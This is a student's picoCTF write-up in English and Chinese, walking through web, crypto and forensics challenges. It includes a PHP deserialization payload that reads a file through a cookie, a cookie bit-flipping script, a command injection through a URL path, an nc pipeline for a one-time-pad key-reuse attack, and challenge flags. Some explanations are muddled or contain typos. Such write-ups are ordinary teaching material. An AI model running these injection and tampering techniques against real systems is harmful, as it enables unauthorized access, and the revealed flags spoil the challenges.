---
tags: CTF writeup
---
# picoCTF write up
[](https://hackmd.io/TyHHN5S1TSqTWTsmILwv0A)
## Web
### Scavenger Hunt
#### Description:
There is some interesting information hidden around this site http://mercury.picoctf.net:27278/. Can you find it?
#### Hint1:
You should have enough hints to find the files, don't run a brute forcer.
---
### Cookies
#### Description:
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:6418/
#### Hint:
(none)
---
When you enter in link you will see this.
When you type all the cookies name in, they turn into <font color=red>"That doesn't appear to be a valid cookie."</font>

And if you just enter "nickerdoodle" if turn out the page like:
Change the cookie "name"'s value to 18 and you will get the flag.
<br></br>
### Some Assembly Required 1
#### Hint:
(none)
---
The login page is like this:
You can see G82XCw5CX3.js in sourse and "./JIFxzHyW8W" in the file
Add it to the URL then there is a file be download.
Open it and get the flag

<br></br>
### Some Assembly Required 2
#### Hint:
(none)
https://gchq.github.io/CyberChef/#recipe=Magic(3,true,false,'pico')&input=K3hha2dLXE5zbW47ajhqPDk7PD89bD9rODhtbTFuOWkxaj46OGs/bDB1
### Super Serial
#### Description:
Try to recover the flag stored on this website.
http://mercury.picoctf.net:8404/
#### Hint1:
The flag is at ../flag
---
The login page is like this:<br>
<br>
Add "/robots.txt" to the URL.
Then we will get another hint like this:
<br>
Add "/admin.phps" to URL, but doesn't have this page.
Go back to the main page and you will find "index.php" in html
Mix the hint that you got in robots.txt put "s" behind "php"

There is "cookie.php" and "authentication.php" in html.
And the code "base64_encode(serialize()" implys it is [unserialize](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/206041/) and base64
Go to "/cookie.phps" and you will see a php is cut into two parts.
[access_log](https://lanjingling.github.io/2016/03/14/nginx-access-log/) is a command that choose the nginx diary's place.
So put together like this:
```php=
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
echo(serialize(new access_log("../flag")));
{
}
?>
```
Run the program and get garbled like this 'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' and turn it to base64.
Add it to the "/authentication.php"'s cookie's value with the name "login"
And you will get the flag 
### More Cookies
#### Description:
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:25992/
#### Hint1:
https://en.wikipedia.org/wiki/Homomorphic_encryption
#### Hint2:
The search endpoint is only helpful for telling you if you are admin or not, you won't be able to guess the flag name.
---
When you enter in link you will see this, but it actually not important.

Look the value of the admin in client side.
And put the value to decode and find there don't have flag comeout.

With the hint1 can find that it is encode by CBC.
Then write the code like:
```python=
import requests
import base64
s=requests.Session()
s.get("http://mercury.picoctf.net:25992/")
cookie=s.cookies["auth_name"]
print(cookie)
unb64=base64.b64decode(cookie)
print(unb64)
unb64b=base64.b64decode(unb64)
for i in range (0,128) :
pos=i//8
guessdec=unb64b[0:pos]+chr(ord(unb64b[pos])^(1<<(i%8))) +unb64b[pos+1:]
guessenc1 = base64.b64encode(guessdec)
guess=base64.b64encode(base64.b64encode(guessdec))
r=requests.get("http://mercury.picoctf.net:25992/" ,cookies={"auth_name": guess})
if "pico" in r.text:
print(r.text)
```
### It is my birthday
#### Description:
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:57247/
#### Hint1:
Look at the category of this problem.
#### Hint2:
How may a PHP site check the rules in the description?
---
See the Hint2, the rules that php site check in the description is [hash](https://www.youtube.com/watch?v=vPvxEDyxI2w&t=60s)-md5.
And then see the login page

It means that we have to find two PDF file that have same md5sum.
It happened if MD5 collision.
Search "md5 file hash collision" then find [this page](https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value).

Get them and change the name to ".pdf"
Push them to the website,and you will get the flag!

### login
#### Description:
My dog-sitter's brother made this website but I can't get in; can you help?
login.mars.picoctf.net
#### Hint
(None)
---
See "index.js" in html, so go to "/index.js"

```php=
(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();
```
Decode base64 "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" in code.
And get the flag picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
<br>
## Category
### Transformation
#### Description:
I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
#### Hint1:
You may find some decoders online
---
Don't care about the hint, it is really without any help.
Try to understand this code
``` python=
''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
```
And you will find that the first 8 bits in every encode words are the sourse code odd numbers' words, because it moved 8 bits when it is encode.
And then you can write down the reverse code:
```python=
encoded_string = "灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸弰摤捤㤷慽"
for i in range(len(encoded_string)):
print(chr(ord(encoded_string[i])>>8),chr((ord(encoded_string[i]))-((ord(encoded_string[i])>>8)<<8)), end = "",sep = "")
```
Then you will get the flag:picoCTF{16_bits_inst34d_of_8_0ddcd97a}
### New Caesar
#### Description:
We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{}) mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj [new_caesar.py](https://mercury.picoctf.net/static/43182e6d4527ef0916b2ce43883227b7/new_caesar.py)
#### Hint1:
How does the cipher work if the alphabet isn't 26 letters?
#### Hint2:
Even though the letters are split up, the same paradigms still apply
---
the encode code is like this:
```python=
import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_encode(plain): #separate the 8 bits letter to 4-4 bits and become two letters
enc = ""
for c in plain:
binary = "{0:08b}".format(ord(c))
enc += ALPHABET[int(binary[:4], 2)]
enc += ALPHABET[int(binary[4:], 2)]
return enc
def shift(c, k): #caesar (key - LOWERCASE) shift
t1 = ord(c) - LOWERCASE_OFFSET
t2 = ord(k) - LOWERCASE_OFFSET
return ALPHABET[(t1 + t2) % len(ALPHABET)]
flag = "donotknow"
key = "?"
assert all([k in ALPHABET for k in key]) # the key is in ALPHABET
assert len(key) == 1 #we can know that len(key) == 1
b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
enc += shift(c, key[i % len(key)])
print(enc)
```
the direct decode is like this:
```python=
import string
out = "mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj"
ALPHABET = string.ascii_lowercase[:16]
LOWERCASE_OFFSET = ord("a")
def shift(c,k): #let the original code shorter
return ALPHABET[(ord(c) - ord(k)) % 16]
def b16_encode(plain): #fix the two letter to one letter
de2 = ""
for i in range(0,len(plain),2):
bi = "{0:04b}".format(ord(plain[i])-LOWERCASE_OFFSET) + "{0:04b}".format(ord(plain[i+1])-LOWERCASE_OFFSET)
de2 += chr(int(bi,2))
return de2
for key in ALPHABET: # because len(key) == 1, and we don't know which it is, so we try all
de1 = ""
for i in out:
de1 += shift(i, key)
flag = b16_encode(de1)
```
output:
```
a ËÚµÚÛµÌÇÊÈÊ
b ºÉ¤ÉÊ
¤» º¶
¹·¹¹¹º ¶¸
c ©¸¸¹sy{vwªx©{u¥t{wz¨w¦u¨u}¨¨©xv{}¥§tw
d §¨bhjefgcjfifddlcf
e qQqWYTUVYSRYUXU
SS[VTY[
RU
f v
`
@`FHCDwEvHBrAHDGuDsBuBJuuvECHJrtAD
g et_tu?_5723f4e71a0736d3b1d19dde4279ac03
h TcNcd.N$&!"U#T& P/&"%S"Q S (SST#!&(PR/"
i CR=RS=DCOB@BBBCOA
j 2A,AB
1?1112>032>
k !01ûóþÿ"ð!óý-üóÿò ÿ.ý ýõ !ðþóõ-/üÿ
l /
/ ê
àâíîïâìëâîáîììäïíâäëî
m ùÙùßÑÜÝÞÑÛ
ÚÑÝÐÝ
ÛÛÓÞÜÑÓ
ÚÝ
ÈèÎÀËÌÿÍþÀÊúÉÀÌÏýÌûÊýÊÂýýþÍËÀÂúüÉÌ
o íü×üý·×½¿º»î¼í¿¹é¸¿»¾ì»ê¹ì¹±ììí¼º¿±é븻
p ÜëÆëì¦Æ¬®©ªÝ«Ü®¨Ø§®ªÛªÙ¨Û¨ ÛÛÜ«©® ØÚ§ª
```
the shorter decode is like this:
```python=
import string
out = "mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj"
ALPHABET = string.ascii_lowercase[:16]
for key in range(16):
flag = ""
for i in range(0,len(out),2):
bi = "{0:04b}".format(ord(ALPHABET[(ord(out[i]) - key) % 16]) -97) + "{0:04b}".format(ord(ALPHABET[(ord(out[i+1]) - key) % 16])-97)
flag += chr(int(bi,2))
print(key, flag)
```
output:
```
0 ÜëÆëì¦Æ¬®©ªÝ«Ü®¨Ø§®ªÛªÙ¨Û¨ ÛÛÜ«©® ØÚ§ª
1 ËÚµÚÛµÌÇÊÈÊ
2 ºÉ¤ÉÊ
¤» º¶
¹·¹¹¹º ¶¸
3 ©¸¸¹sy{vwªx©{u¥t{wz¨w¦u¨u}¨¨©xv{}¥§tw
4 §¨bhjefgcjfifddlcf
5 qQqWYTUVYSRYUXU
SS[VTY[
RU
6 v
`
@`FHCDwEvHBrAHDGuDsBuBJuuvECHJrtAD
7 et_tu?_5723f4e71a0736d3b1d19dde4279ac03
8 TcNcd.N$&!"U#T& P/&"%S"Q S (SST#!&(PR/"
9 CR=RS=DCOB@BBBCOA
10 2A,AB
1?1112>0,32>
11 !01ûóþÿ"ð!óý-üóÿò ÿ.ý ýõ !ðþóõ-/üÿ
12 /
/ ê
àâíîïâìëâîáîììäïíâäëî
13 ùÙùßÑÜÝÞÑÛ
ÚÑÝÐÝ
ÛÛÓÞÜÑÓ
ÚÝ
ÈèÎÀËÌÿÍþÀÊúÉÀÌÏýÌûÊýÊÂýýþÍËÀÂúüÉÌ
15 íü×üý·×½¿º»î¼í¿¹é¸¿»¾ì»ê¹ì¹±ììí¼º¿±é븻
```
### Easy Peasy
#### Description:
A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{}) nc mercury.picoctf.net 36449 otp.py
#### Hint1:
Maybe there's a way to make this a 2x pad.
---
this is the code:
```python=
#!/usr/bin/python3 -u
import os.path
KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"
def startup(key_location):
flag = open(FLAG_FILE).read()
kf = open(KEY_FILE, "rb").read()
start = key_location
stop = key_location + len(flag)
key = kf[start:stop]
key_location = stop
result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
print("This is the encrypted flag!\n{}\n".format("".join(result)))
return key_location
def encrypt(key_location):
ui = input("What data would you like to encrypt? ").rstrip()
if len(ui) == 0 or len(ui) > KEY_LEN:
return -1
start = key_location
stop = key_location + len(ui)
kf = open(KEY_FILE, "rb").read()
if stop >= KEY_LEN:
stop = stop % KEY_LEN
key = kf[start:] + kf[:stop]
else:
key = kf[start:stop]
key_location = stop
result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))
print("Here ya go!\n{}\n".format("".join(result)))
return key_location
print("******************Welcome to our OTP implementation!******************")
c = startup(0)
while c >= 0:
c = encrypt(c)
```
Because we want to get the same part of key that encrypt flag, so we input:
```shell=
python -c "print('0'*49968);print('0'*32);" | nc mercury.picoctf.net 36449
```
And then we get the hex key that xor with "0", so we need to decode it.
```python=
out = 0x551257106e1a52095f654f510a6b4954026c1e0304394100043a1c5654505b6b
hexkey = 0x521754106c485101596c4800026c4853546c4852516c4853046c485552015e6c
a = 0x3030303030303030303030303030303030303030303030303030303030303030
print(out ^ hexkey ^ a)
print("{:x}".format(out ^ hexkey ^ a))
```
### Caas
#### Description
Now presenting cowsay as a service
#### Hint:
(None)
---
輸入
```
https://caas.mars.picoctf.net/cowsay/a;cat ls
https://caas.mars.picoctf.net/cowsay/a;cat falg.txt
```

</br>
## Forensics
### MacroHard WeakEdge
#### Description
I've hidden a flag in this file. Can you find it? Forensics is fun.pptm
#### Hint:
(None)
---
```shell
$ binwalk -e 'Forensics is fun.pptm'
$ cd '_Forensics is fun.pptm.extracted'/ppt/slideMasters/
$ strings hidden
```
顯示
```
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
```
base64 decode 得到
```
flag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}
```